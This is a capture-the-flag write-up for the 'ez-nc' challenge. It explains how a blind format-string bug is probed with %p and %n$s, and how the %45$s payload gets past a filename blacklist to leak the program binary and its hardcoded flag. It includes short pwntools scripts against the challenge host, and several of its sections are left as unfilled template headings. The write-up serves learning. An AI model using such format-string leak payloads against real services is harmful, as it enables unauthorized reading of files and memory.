[polarisctf] ez-nc

By Vesper Vei
6 minutes read

Table of Contents

  1. Challenge Summary
  2. Program Profile and Attack Surface
    1. Program Function Overview
    2. Initial Attack Surface Screening
  3. Pre-exploitation Constraints
    1. Key Constraints
  4. Primitive Extraction
    1. Leak Capability and Acquisition of Critical Information
  5. Route Selection
  6. Attack Chain Breakdown
    1. Route 1: Blind String Extraction
    2. Route 2: Download and Reverse Engineer with IDA
  7. Pitfalls and Stability
    1. Pitfall Notes
    2. Pitfall Notes and Stability Fixes
  8. Pattern Transfer
    1. Pattern Recognition
    2. Reuse Through Transfer
    3. Pattern Recognition and Transfer
  9. exp Summary:
    1. Route 1
    2. Route 2:

[!note] Related entry: PWN题目索引

Challenge Summary

[!info] Basic Information

  • Competition: polarisctf
  • Challenge: ez-nc
  • Difficulty: ★★★☆☆
  • Architecture: amd64
  • libc / Environment: To be added
  • Protection Mechanisms: NX

[!abstract] One-line attack chain BROP + format string vulnerability -> use %n$p to probe stack space -> use %n$s to leak the ELF file and save it -> reverse engineer with IDA

Program Profile and Attack Surface

image.png

Program Function Overview

The challenge did not provide any files. After starting the container and connecting with nc, Enter the filename to download: appeared, but actual testing showed that the download functionality does not exist; it only prints file contents. At the same time, filtering protection was applied to the target file ez-nc.

Initial Attack Surface Screening

Since there is string interaction, I tried a format string vulnerability. With %p I probed a stack address, and there was also an input length limit (len_max=7), so I initially suspected the program used fnprintf(). Next, stack address probing will be performed with BROP.

Pre-exploitation Constraints

Key Constraints

Primitive Extraction

[!note] This section explains how the vulnerability is transformed into reusable primitives.

Leak Capability and Acquisition of Critical Information

Leak Results and Critical Information

image.png We performed %p pointer probing on 1~50 and obtained some stack addresses. These stack spaces store local variable data (if the probed address is high enough, binary file information can be obtained!) exp —> 路线一

Support for Subsequent Exploitation

Next, %n$s string probing is performed to obtain the actual information in stack space. But note that if the passed address does not hit a string, the program will crash (Segfault), so reconnection logic must be written properly. Crash and reconnect: image.png Successful hit: image.png

Route Selection

When solving this challenge, I sent the result of Index 45 to AI, and the AI found the flag among a large number of bytes. But later, when reading other experts’ writeups, I found that the result of Index 45 could also be saved as a binary file and reverse engineered in IDA, where the flag was found in the .rodata field. So this note records both routes.

Attack Chain Breakdown

Route 1: Blind String Extraction

Directly perform %n$s blind extraction on 1~50: image.png The flag is hidden in these returned bytes, but manual filtering is too difficult and it is easy to miss it by eye. (There are still 2 more pages below, too long to show.)

Route 2: Download and Reverse Engineer with IDA

From the screenshot above, you can see that there is a file header ELF string! This indicates that what is stored at Index 45 is a binary file string, for example, an ELF file like ez-nc. This stack address 0x7fffbdac7e10 -> the address of the .data segment. This address stores the string ez-nc. The program places this string into the first argument of fnprintf(), thereby bypassing the program’s filtering of the string ez-nc! A script can be written to download this binary file —> 路线二:

[!tip] I used the writeup author’s script here, but the downloaded ELF file cannot be directly reverse engineered in IDA! 踩坑记录 will explain this later.

Load it into IDA for analysis: longshot20260409185707.jpg The program performs a blacklist check with strstr(s, “ez-nc”), but then calls snprintf(filename, 0x58u, s), directly using user input as the format string, resulting in a format string vulnerability.
By inputting %45$s (where the 45th offset on the stack happens to be argv[0], i.e. the program name ez-nc), the string blacklist check can be bypassed, causing filename to be formatted as ez-nc, thereby triggering arbitrary file reading and downloading the program binary itself. ps: I don’t know why the downloaded binary had issues; the symbol table was not located image.png It was discovered that the flag was directly hardcoded in the .rodata data section of the ELF file. image.png

Pitfalls and Stability

Pitfall Notes

Fill in here why the initial ELF could not be reverse engineered properly in IDA:

Pitfall Notes and Stability Fixes

Where It First Went Wrong

Root Cause Identification

Stable Version Fixes

Pattern Transfer

Pattern Recognition

Reuse Through Transfer

Pattern Recognition and Transfer

Recognition Signals

Transfer Pattern

exp Summary:

Route 1

def create_conn() -> remote:
return remote("nc1.ctfplus.cn", 15894)
def interact_copy(io: remote | process, payload: bytes) -> bytes | None:
context.timeout = 0.5
try:
io.recvuntil(b"Enter the filename to download:")
io.sendline(payload)
res = io.recvuntil(b" not existed", drop=True)
return res
except Exception:
return None
# BlindFmtTool是我自己写的工具类,具有重连功能,可以在我的github上找到“my_tool.py”
brop = BlindFmtTool(create_conn, interact_copy)
# 栈空间探测封装:
brop.dump_stack_ptrs()
# 字符串盲注封装:
brop.dump_strings()

Route 2:

exp for downloading the Index 45 ELF file:

from pwn import *
context.log_level = "error"
def download():
host = "nc1.ctfplus.cn"
port = 32441
io = remote(host, port)
io.recvuntil(b"download: ")
io.sendline(b"%45$s")
data = io.recvall(timeout=3)
if b"ELF" in data:
with open("ez-nc", "wb") as f:
f.write(data)
if __name__ == "__main__":
download()

Relationship Graph

Loading graph...